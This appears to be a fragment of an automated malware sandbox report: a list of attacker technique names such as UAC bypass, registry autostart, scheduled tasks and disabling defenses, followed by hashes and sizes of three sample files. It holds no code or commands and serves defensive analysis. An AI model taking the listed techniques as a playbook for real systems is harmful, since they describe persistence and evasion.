Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD580d27744f1538288d70f30d5844d22d5
SHA15bd9cfdc9a4c2075cb50532823d70bc163e78c01
SHA2569235268a31a83b9d8cdea0f004e1f5670008afea3631bc577682a5ff244f8666
SHA5127ff33e6cad28897850e4366f1ad20894a13c75dbea4fc229ba54316cbbe6490d7396656cae5f100ffd465435d02d4fd21fa5eeee3cef424e572fd19db27239ad
-
Filesize
684B
MD541c40de7aea89dd4a5d2c2d063480e87
SHA1c82bba25cb8aa385f76985727bc064e385dfc6a7
SHA256dd594a6a537f6bffdf2a0b1f6417249502b94837b383ebaf624080c30f307836
SHA51284337d2fa16e01bf4c23acb5eef6ad90d53105e01ebe76cdbc47126100e392eca324c1c2b8511b2cdb5673bc6616375767c3cd75ef5ad2d5a48942a864b7cc77
-
Filesize
12KB
MD57e3e0b106aa6d0e1e35f68cbce144162
SHA1b78901b104306992447a78aeac69fb8ffd47d340
SHA2560ca8681b74345d3dd842fa60e26ad99d711f8e02d3149d31b0d61f9daf27bdd9
SHA512a2095ff58d93a8b3a9c099b30c658a1f6bbf47f1205fcc1eb87f2e4fa5061254431945e735d8fb7d9d04fe55dec9227b1a6ac8175632b85ceb6b9abbc8dbf9ed